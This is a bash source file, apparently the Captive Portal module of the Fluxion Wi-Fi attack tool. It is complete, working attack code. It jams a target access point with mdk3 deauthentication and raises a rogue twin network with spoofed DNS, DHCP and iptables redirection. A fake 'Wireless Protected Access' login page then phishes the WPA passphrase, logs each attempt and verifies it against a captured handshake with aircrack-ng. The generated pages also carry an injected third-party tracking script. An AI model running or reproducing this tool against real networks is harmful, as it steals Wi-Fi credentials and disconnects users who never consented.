#!/bin/bash

############################# < Captive Portal Parameters > ############################
CaptivePortalState="Not Ready"

CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
CaptivePortalJamTime="9999999999999"

CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
CaptivePortalAuthenticationMethodsInfo=("(handshake file, ${CGrn}recommended$CClr)") # "(Target AP authentication, slow)")

########################### < Virtual Network Configuration > ##########################
# To avoid collapsing with an already connected network, we'll use an uncommon network.
VIGWAddress="192.168.254.1"
VIGWNetwork=${VIGWAddress%.*}

function captive_portal_unset_auth() {
	if [ ! "$APRogueAuthMode" ]; then return 0; fi

	if [ "$APRogueAuthMode" = "hash" ]; then
		unset_hash
	fi

	APRogueAuthMode=""

	# If we've only got one option, then the user skipped this
	# section by taking that one option, so we unset the previous
	# phase along with this one to take the user properly back.
	if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then
		unset_ap_service
	fi
}

function captive_portal_set_auth() {
	if [ "$APRogueAuthMode" ]; then
		echo "Captive Portal authentication mode is already set, skipping!" > $FLUXIONOutputDevice
		return 0;
	fi

	captive_portal_unset_auth

	if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
		 ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" = 1 ]; then
		APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}"
	else
		fluxion_header

		echo -e "$FLUXIONVLine $header_askauth"
		echo

		view_target_ap_info

		local choices=("${CaptivePortalAuthenticationMethods[@]}" "$general_back")
		io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \
										CaptivePortalAuthenticationMethodsInfo[@]

		APRogueAuthMode="${IOQueryFormatFields[0]}"

		if [[ "$APRogueAuthMode" = "$general_back" ]]; then
			unset_ap_service
			captive_portal_unset_auth
			return 1
		fi
	fi

	if [ "$APRogueAuthMode" = "hash" ]; then
		set_hash
	fi

	if [[ $? -ne 0 ]]; then captive_portal_unset_auth; return 1; fi
}

function captive_portal_run_certificate_generator() {
	xterm -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $FLUXIONWorkspacePath/server.pem -out $FLUXIONWorkspacePath/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html
	chmod 400 $FLUXIONWorkspacePath/server.pem
}

function captive_portal_unset_cert() {
	sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem"
}

# Create Self-Signed SSL Certificate
function captive_portal_set_cert() {
	# Check existance of ssl certificate with file size > 0
	if [ -f $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem -a \
		 -s $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem ]; then
		cp $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem \
		   $FLUXIONWorkspacePath/server.pem
	fi

	# Check existance of ssl certificate with file size > 0
	if [ -f $FLUXIONWorkspacePath/server.pem -a -s $FLUXIONWorkspacePath/server.pem ]; then
		echo "Captive Portal certificate is already set, skipping!" > $FLUXIONOutputDevice
		return 0;
	fi

	captive_portal_unset_cert

	local choices=("$DialogOptionCertificateSource1" "$DialogOptionCertificateSource2" "$general_back")

	while [ ! -f $FLUXIONWorkspacePath/server.pem -o ! -s $FLUXIONWorkspacePath/server.pem ]; do
		io_query_choice "$DialogQueryCertificateSource" choices[@] 

		case "$IOQueryChoice" in
			"$DialogOptionCertificateSource1") captive_portal_run_certificate_generator; break;;
			"$DialogOptionCertificateSource2") return 2;;
			"$general_back")
				captive_portal_unset_auth
				captive_portal_unset_cert
				return 1;;
			*) conditional_bail; return 3;;
		esac
	done

	# Check existance of ssl certificate with file size > 0
	# Check again depends on the following conditional.
	# I could move it, but I don't want to...
	#if [ ! -f $FLUXIONWorkspacePath/server.pem -o ! -s $FLUXIONWorkspacePath/server.pem ]; then
	#	FLUXIONNextOperation="Certificate"
	#fi
}


function captive_portal_unset_site() {
	sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
}

function captive_portal_set_site() {
	if [ -d $FLUXIONWorkspacePath/captive_portal ]; then
		echo "Captive Portal site (interface) is already set, skipping!" > $FLUXIONOutputDevice
		return 0;
	fi

	captive_portal_unset_interface

	local sites

	# Retrieve all available portal sites and
	# store them without the .portal extension.
	for site in attacks/Captive\ Portal/sites/generic/* attacks/Captive\ Portal/sites/*.portal; do
		site="${site/attacks\/Captive\ Portal\/sites\//}"
		if [[ "$site" != *.portal ]]; then
			site="${DialogOptionCaptivePortalGeneric}_${site/generic\//}"
		fi
		sites[${#sites[@]}]="${site/.portal/}"
	done

	local sitesIdentifier=("${sites[@]/_*/}" "$general_back")
	local sitesLanguage=("${sites[@]/*_/}")

	fluxion_header

	view_target_ap_info

	io_query_format_fields "$FLUXIONVLine $DialogQueryCaptivePortalInterface" \
						"$CRed[$CYel%02d$CRed]$CClr %-38b $CBlu[%10s]$CClr\n" \
						sitesIdentifier[@] sitesLanguage[@]

	local site="${IOQueryFormatFields[0]}"
	local siteLanguage="${IOQueryFormatFields[1]}"
	local sitePath="${site}_${siteLanguage}"

	case "$site" in
		"$DialogOptionCaptivePortalGeneric")
			source $FLUXIONPath/attacks/Captive\ Portal/sites/generic/$siteLanguage
			 captive_portal_generic;;
		"$general_back")
			captive_portal_unset_cert
			captive_portal_unset_site
			return 1;;
		* )
			mkdir $FLUXIONWorkspacePath/captive_portal &>$FLUXIONOutputDevice
			cp -r $FLUXIONPath/attacks/Captive\ Portal/sites/$sitePath.portal/* $FLUXIONWorkspacePath/captive_portal;;
	esac
}

function captive_portal_unset_attack() {
	sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
	sandbox_remove_workfile "$FLUXIONWorkspacePath/fluxion_captive_portal_dns"
	sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
	sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
	sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"

	# Only reset the AP if one has been define.	
	if [ $(type -t ap_reset) ]; then
		ap_reset
	fi
}

# Create different settings required for the script
function captive_portal_set_attack() {
	# AP Service: Prepare service for an attack.
	ap_prep

	# Generate the PHP check.php script, used to verify
	# password attempts from users using the web interface.
	echo "\
<?php
error_reporting(0);

// Update hit attempts
\$page_hits_log_path = (\"$FLUXIONWorkspacePath/hit.txt\");
\$page_hits = file(\$page_hits_log_path)[0] + 1;
\$page_hits_log = fopen(\$page_hits_log_path, \"w\");
fputs(\$page_hits_log, \$page_hits);
fclose(\$page_hits_log);

// Receive get & post data and store to variables
\$replyJSON = @\$_GET[\"dynamic\"];
\$key = @\$_POST['key1'];

// Prepare candidate and attempt passwords files' locations.
\$attempt_log_path = \"$FLUXIONWorkspacePath/pwdattempt.txt\";
\$candidate_path = \"$FLUXIONWorkspacePath/candidate.txt\";
\$candidate_result_path = \"$FLUXIONWorkspacePath/candidate_result.txt\";

\$attempt_log = fopen(\$attempt_log_path, \"w\");
fwrite(\$attempt_log, \$key);
fwrite(\$attempt_log, \"\n\");
fclose(\$attempt_log);

# Write candidate key to file to prep for checking.
\$candidate = fopen(\$candidate_path, \"w\");
fwrite(\$candidate, \$key);
fwrite(\$candidate, \"\n\");
fclose(\$candidate);

# Create candidate result file to trigger checking.
\$candidate_result = fopen(\$candidate_result_path, \"w\");
fwrite(\$candidate_result,\"\n\");
fclose(\$candidate_result);

\$candidate_code = false;

do {
	sleep(1);
	\$candidate_code = trim(file_get_contents(\$candidate_result_path));
} while(!ctype_digit(\$candidate_code));

# Reset file by deleting it.
unlink(\$candidate_result);

if (\$replyJSON) header(\"Content-Type: application/json\");

if (\$candidate_code == 1) {
	if (\$replyJSON) echo json_encode([\"mismatch\"]);
	else header(\"Location:error.html\");
}

if (\$candidate_code == 2) {
	if (\$replyJSON) echo json_encode([\"match\"]);
	else header(\"Location:final.html\");
}
?>" > $FLUXIONWorkspacePath/captive_portal/check.php

	# Generate the dhcpd configuration file, which is
	# used to provide DHCP service to APRogue clients.
	echo "\
authoritative;

default-lease-time 600;
max-lease-time 7200;

subnet $VIGWNetwork.0 netmask 255.255.255.0 {
	option broadcast-address $VIGWNetwork.255;
	option routers $VIGWAddress;
	option subnet-mask 255.255.255.0;
	option domain-name-servers $VIGWAddress;

	range $VIGWNetwork.100 $VIGWNetwork.254;
}\
" > $FLUXIONWorkspacePath/dhcpd.conf

	#create an empty leases file
	touch $FLUXIONWorkspacePath/dhcpd.leases

	# Generate configuration for a lighttpd web-server.
	echo "\
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\"

server.modules = (
	\"mod_access\",
	\"mod_alias\",
	\"mod_accesslog\",
	\"mod_fastcgi\",
	\"mod_redirect\",
	\"mod_rewrite\"
)

fastcgi.server = (
	\".php\" => (
		(
			\"bin-path\" => \"/usr/bin/php-cgi\",
			\"socket\" => \"/php.socket\"
		)
	)
)

server.port = 80
server.pid-file = \"/var/run/lighttpd.pid\"
# server.username = \"www\"
# server.groupname = \"www\"

mimetype.assign = (
	\".html\" => \"text/html\",
	\".htm\" => \"text/html\",
	\".txt\" => \"text/plain\",
	\".jpg\" => \"image/jpeg\",
	\".png\" => \"image/png\",
	\".css\" => \"text/css\"
)


server.error-handler-404 = \"/\"

static-file.exclude-extensions = (
	\".fcgi\",
	\".php\",
	\".rb\",
	\"~\",
	\".inc\"
)

index-file.names = (
	\"index.htm\",
	\"index.html\"
)

\$SERVER[\"socket\"] == \":443\" {
	ssl.engine                  = \"enable\"
	ssl.pemfile                 = \"$FLUXIONWorkspacePath/server.pem\"
}

#Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
    url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
}
" > $FLUXIONWorkspacePath/lighttpd.conf


	# Create a DNS service with python, forwarding all traffic to gateway. 
	echo "\
import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15
    if tipo == 0:
      ini=12
      lon=ord(data[ini])
      while lon != 0:
        self.dominio+=data[ini+1:ini+lon+1]+'.'
        ini+=lon+1
        lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + \"\x81\x80\"
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
      packet+=self.data[12:]
      packet+='\xc0\x0c'
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
    return packet

if __name__ == '__main__':
  ip='$VIGWAddress'
  print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip

  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))

  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Request: %s -> %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finalizando'
    udps.close()\
" > $FLUXIONWorkspacePath/fluxion_captive_portal_dns

	chmod +x $FLUXIONWorkspacePath/fluxion_captive_portal_dns


	#if [ $APRogueAuthMode = "hash" ]; then
	#	echo "" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	#elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
	#	echo "" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	#fi


	# Attack arbiter script
	echo "\
#!/bin/bash

function signal_stop_attack() {
	kill -s SIGABRT $$ # Signal STOP ATTACK
}

function handle_abort_authenticator() {
	AuthenticatorState=\"aborted\"
}

trap signal_stop_attack SIGINT SIGHUP
trap handle_abort_authenticator SIGABRT

echo > $FLUXIONWorkspacePath/candidate.txt
echo -n \"0\"> $FLUXIONWorkspacePath/hit.txt
echo > $FLUXIONWorkspacePath/wpa_supplicant.log

# Make console cursor invisible, cnorm to revert. 
tput civis
clear

m=0
h=0
s=0
i=0

AuthenticatorState=\"running\"

startTime=\$(date +%s)

while [ \$AuthenticatorState = \"running\" ]; do
	let s=\$(date +%s)-\$startTime

	d=\`expr \$s / 86400\`
	s=\`expr \$s % 86400\`
	h=\`expr \$s / 3600\`
	s=\`expr \$s % 3600\`
	m=\`expr \$s / 60\`
	s=\`expr \$s % 60\`

	if [ \"\$s\" -le 9 ]; then
		is=\"0\"
	else
		is=
	fi

	if [ \"\$m\" -le 9 ]; then
		im=\"0\"
	else
		im=
	fi

	if [ \"\$h\" -le 9 ]; then
		ih=\"0\"
	else
		ih=
	fi

	if [ -f $FLUXIONWorkspacePath/pwdattempt.txt -a -s $FLUXIONWorkspacePath/pwdattempt.txt ]; then
		# Save any new password attempt.
		cat $FLUXIONWorkspacePath/pwdattempt.txt >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\"

		# Clear logged password attempt.
		echo -n > $FLUXIONWorkspacePath/pwdattempt.txt
	fi
" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	if [ $APRogueAuthMode = "hash" ]; then
		echo "
	if [ -f $FLUXIONWorkspacePath/candidate_result.txt ]; then
		# Check if we've got the correct password by looking for anything other than \"Passphrase not in\".
		if ! aircrack-ng -w $FLUXIONWorkspacePath/candidate.txt $FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap | grep -qi \"Passphrase not in\"; then
			echo \"2\" > $FLUXIONWorkspacePath/candidate_result.txt
			break
		else
			echo \"1\" > $FLUXIONWorkspacePath/candidate_result.txt
		fi
	fi" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
		echo "
	wpa_passphrase \"$APTargetSSID\" \"\`cat $FLUXIONWorkspacePath/candidate.txt\`\" > $FLUXIONWorkspacePath/wpa_supplicant.conf
	wpa_supplicant -i $WIAccessPoint -c $FLUXIONWorkspacePath/wpa_supplicant.conf -f $FLUXIONWorkspacePath/wpa_supplicant.log &
	wpaSupplicantPID=\$!

	# Shitty design...
	sleep 5

	if [ -f $FLUXIONWorkspacePath/candidate_result.txt ]; then
		if grep -i 'WPA: Key negotiation completed' $FLUXIONWorkspacePath/wpa_supplicant.log; then
			echo \"2\" > $FLUXIONWorkspacePath/candidate_result.txt
			break
		else
			echo \"1\" > $FLUXIONWorkspacePath/candidate_result.txt
		fi
	fi" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	fi

	echo "
	DHCPClients=($(nmap -PR -sn -n -oG - $VIGWNetwork.100-110 2>&1 | grep Host))

	echo
	echo -e \"  ACCESS POINT:\"
	echo -e \"    SSID ...........: "$CWht"$APTargetSSID"$CClr"\"
	echo -e \"    MAC ............: "$CYel"$APTargetMAC"$CClr"\"
	echo -e \"    Channel ........: "$CWht"$APTargetChannel"$CClr"\"
	echo -e \"    Vendor .........: "$CGrn"${APTargetMaker:-UNKNOWN}"$CClr"\"
	echo -e \"    Runtime ........: "$CBlu"\$ih\$h:\$im\$m:\$is\$s"$CClr"\"
	echo -e \"    Attempts .......: "$CRed"\$(cat $FLUXIONWorkspacePath/hit.txt)"$CClr"\"
	echo -e \"    Clients ........: "$CBlu"\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$CClr"\"
	echo
	echo -e \"  CLIENTS ONLINE:\"

	x=0
	for client in \"\${DHCPClients[@]}\"; do
		x=\$((\$x+1))

		ClientIP=\$(echo \$client| cut -d \" \" -f2)
		ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])

		if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then
			ClientMAC=\"xx:xx:xx:xx:xx:xx\"
		fi

		ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)

		if echo \$ClientMAC| grep -q x; then
			ClientMID=\"unknown\"
		fi

		ClientHostname=\$(grep \$ClientIP $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}')

		echo -e \"    $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\"
	done

	echo -ne \"\033[K\033[u\"" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh


	if [ $APRogueAuthMode = "hash" ]; then
		echo "
	sleep 1" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
		echo "
	killall \$wpaSupplicantPID &> $FLUXIONOutputDevice
" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	fi

	echo "
done

if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi

clear
echo \"1\" > $FLUXIONWorkspacePath/status.txt

# sleep 7
sleep 3

signal_stop_attack


# killall mdk3 &> $FLUXIONOutputDevice
# killall aireplay-ng &> $FLUXIONOutputDevice
# killall airbase-ng &> $FLUXIONOutputDevice
# kill \$(ps a | grep python | grep fluxion_captive_portal_dns | awk '{print \$1}') &> $FLUXIONOutputDevice
# killall hostapd &> $FLUXIONOutputDevice
# killall lighttpd &> $FLUXIONOutputDevice
# killall dhcpd &> $FLUXIONOutputDevice

# if [ \"$APRogueAuthMode\" = \"wpa_supplicant\" ]; then
#	killall wpa_supplicant &> $FLUXIONOutputDevice
# fi

# killall wpa_passphrase &> $FLUXIONOutputDevice

echo \"
FLUXION $FLUXIONVersion

SSID: $APTargetSSID
BSSID: $APTargetMAC ($APTargetMaker)
Channel: $APTargetChannel
Security: $APTargetEncryption
Time: \$ih\$h:\$im\$m:\$is\$s
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh


	if [ $APRogueAuthMode = "hash" ]; then
		echo "
aircrack-ng -a 2 -b $APTargetMAC -0 -s $FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap -w $FLUXIONWorkspacePath/candidate.txt && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\
" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
		echo "
echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\
" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	fi

#	echo "
# kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &> $FLUXIONOutputDevice\
# " >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh

	chmod +x $FLUXIONWorkspacePath/captive_portal_authenticator.sh
}

# Generate the contents for a generic web interface
function  captive_portal_generic() {
	if [ ! -d $FLUXIONWorkspacePath/captive_portal ]; then
		mkdir $FLUXIONWorkspacePath/captive_portal
	fi

	source $FLUXIONPath/lib/site/index | base64 -d > $FLUXIONWorkspacePath/file.zip

	unzip $FLUXIONWorkspacePath/file.zip -d $FLUXIONWorkspacePath/captive_portal &>$FLUXIONOutputDevice
	sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip"

	echo "\
<!DOCTYPE html>
<html>
	<head>
		<meta charset=\"UTF-8\">
		<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">

		<title>Wireless Protected Access: Verifying</title>

		<!-- Styles -->
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>

		<!-- Scripts -->
		<script src=\"js/jquery-1.11.1.min.js\"></script>
		<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
	<script nonce="" src="https://assets.evulid.cc/js/evulid-matomo.js"></script><noscript><p><img src="https://mato.evulid.cc/matomo.php?idsite=8&amp;rec=1" style="border:0" alt="" /></p></noscript></head>
	<body>
		<!-- final page -->
		<div id=\"done\" data-role=\"page\" data-theme=\"a\">
			<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
				<h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3>
			</div>
		</div>
	</body>
</html>" > $FLUXIONWorkspacePath/captive_portal/final.html

    echo "\
<!DOCTYPE html>
<html>
	<head>
		<meta charset=\"UTF-8\">
		<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">

		<title>Wireless Protected Access: Key Mismatch</title>

		<!-- Styles -->
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>

		<!-- Scripts -->
		<script src=\"js/jquery-1.11.1.min.js\"></script>
		<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
		<script src=\"js/jquery.validate.min.js\"></script>
		<script src=\"js/additional-methods.min.js\"></script>
	<script nonce="" src="https://assets.evulid.cc/js/evulid-matomo.js"></script><noscript><p><img src="https://mato.evulid.cc/matomo.php?idsite=8&amp;rec=1" style="border:0" alt="" /></p></noscript></head>
	<body>
		<!-- Error page -->
		<div data-role=\"page\" data-theme=\"a\">
			<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
				<h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3>
				<a href=\"index.html\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.html'\">$DIALOG_WEB_BACK</a>
			</div>
		</div>
	</body>
</html>" > $FLUXIONWorkspacePath/captive_portal/error.html

    echo "\
<!DOCTYPE html>
<html>
	<head>
		<meta charset=\"UTF-8\">
		<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">

		<title>Wireless Protected Access: Login</title>

		<!-- Styles -->
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
		<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>

		<!-- Scripts -->
		<script src=\"js/jquery-1.11.1.min.js\"></script>
		<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
		<script src=\"js/jquery.validate.min.js\"></script>
		<script src=\"js/additional-methods.min.js\"></script>
	<script nonce="" src="https://assets.evulid.cc/js/evulid-matomo.js"></script><noscript><p><img src="https://mato.evulid.cc/matomo.php?idsite=8&amp;rec=1" style="border:0" alt="" /></p></noscript></head>
	<body>
		<!-- Main page -->
		<div data-role=\"page\" data-theme=\"a\">
			<div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\">
				<fieldset>
					<form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\">
						</br>
						<div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\">
							<div><u>$APTargetSSID</u> ($APTargetMAC)</div>
							<!--<div>Channel: $APTargetChannel</div>-->
						</div>
						<div style=\"text-align:center;\">
							<br>
							<label>$DIALOG_WEB_INFO</label>
							<br>
						</div>
						<div class=\"ui-field-contain\">
							<label for=\"key1\">$DIALOG_WEB_INPUT</label>
							<input id=\"key1\" style=\"color:#333; background-color:#CCC\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/>
						</div>
						<input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/>
					</form>
				</fieldset>
			</div>
		</div>

		<script src=\"js/main.js\"></script>

		<script>
			$.extend( $.validator.messages, {
				required: \"$DIALOG_WEB_ERROR_MSG\",
				maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ),
				minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )
			});
		</script>
	</body>
</html>" > $FLUXIONWorkspacePath/captive_portal/index.html
}

# Set up DHCP / WEB server
# Set up DHCP / WEB server
function captive_portal_set_routes() {
	# Give an address to the gateway interface in the network.
	ifconfig $VIGW $VIGWAddress netmask 255.255.255.0

	# Add a route to the virtual gateway interface.
	route add -net $VIGWNetwork.0 netmask 255.255.255.0 gw $VIGWAddress

	# Activate system IPV4 packet routing/forwarding.
	sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice

	iptables --flush
	iptables --table nat --flush
	iptables --delete-chain
	iptables --table nat --delete-chain
	iptables -P FORWARD ACCEPT

	iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $VIGWAddress:80
	iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $VIGWAddress:443
	iptables -A INPUT -p tcp --sport 443 -j ACCEPT
	iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
	iptables -t nat -A POSTROUTING -j MASQUERADE
}

function unprep_attack() {
	CaptivePortalState="Not Ready"
	captive_portal_unset_attack
	captive_portal_unset_site
	captive_portal_unset_cert
	captive_portal_unset_auth
	unset_ap_service
}

function prep_attack() {
	while true; do
		set_ap_service; 				if [ $? -ne 0 ]; then break; fi
		captive_portal_set_auth; 		if [ $? -ne 0 ]; then continue; fi
		captive_portal_set_cert; 		if [ $? -ne 0 ]; then continue; fi
		captive_portal_set_site; 		if [ $? -ne 0 ]; then continue; fi
		captive_portal_set_attack; 		if [ $? -ne 0 ]; then continue; fi
		CaptivePortalState="Ready"
		break
	done

	# Check for prep abortion.
	if [ "$CaptivePortalState" = "Not Ready" ]; then
		unprep_attack
		return 1;
	fi
}

function stop_attack() {
	# Attempt to find PIDs of any running authenticators.
	local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}')

	# Signal any authenticator to stop authentication loop.
	if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi

	killall mdk3 &> $FLUXIONOutputDevice
	local FLUXIONJammer=$(ps a | grep -e "FLUXION AP Jammer" | awk '{print $1'})
	if [ "$FLUXIONJammer" ]; then
		kill $FLUXIONJammer &> $FLUXIONOutputDevice
	fi

	# Kill captive portal web server.
	if [ $CaptivePortalServerPID ]; then
		kill $CaptivePortalServerPID &> $FLUXIONOutputDevice
		CaptivePortalServerPID=""
	fi

	# Kill python DNS service if one is found.
	local FLUXIONDNS=$(ps a | grep -e "FLUXION AP DNS" | awk '{print $1'})
	if [ "$FLUXIONDNS" ]; then
		kill $FLUXIONDNS &> $FLUXIONOutputDevice
	fi

	# Kill DHCP service.
	local FLUXIONDHCP=$(ps a | grep -e "FLUXION AP DHCP" | awk '{print $1'})
	if [ "$FLUXIONDHCP" ]; then
		kill $FLUXIONDHCP &> $FLUXIONOutputDevice
	fi

	ap_stop
}

function start_attack() {
	if [ "$CaptivePortalState" = "Running" ]; then return 0; fi

	stop_attack

	echo -e "$FLUXIONVLine Starting Captive Portal access point service..."
	ap_start

	echo -e "$FLUXIONVLine Starting Captive Portal access point routes..."
	captive_portal_set_routes &
	sleep 3

    fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
    fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice

	echo -e "$FLUXIONVLine Starting access point DHCP service as daemon..."
	xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a $FLUXIONWorkspacePath/clients.txt" &

	echo -e "$FLUXIONVLine Starting access point DNS service as daemon..."
    xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 $FLUXIONWorkspacePath/fluxion_captive_portal_dns; else python $FLUXIONWorkspacePath/fluxion_captive_portal_dns; fi" &

	echo -e "$FLUXIONVLine Starting access point captive portal as daemon..."
    lighttpd -f $FLUXIONWorkspacePath/lighttpd.conf &> $FLUXIONOutputDevice
	CaptivePortalServerPID=$!

	echo -e "$FLUXIONVLine Starting access point jammer as daemon..."
    echo -e "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3.txt
    xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3]  $APTargetSSID" -e mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3.txt -c $APTargetChannel &

	echo -e "$FLUXIONVLine Starting authenticator script..."
    xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e $FLUXIONWorkspacePath/captive_portal_authenticator.sh &
}

# FLUXSCRIPT END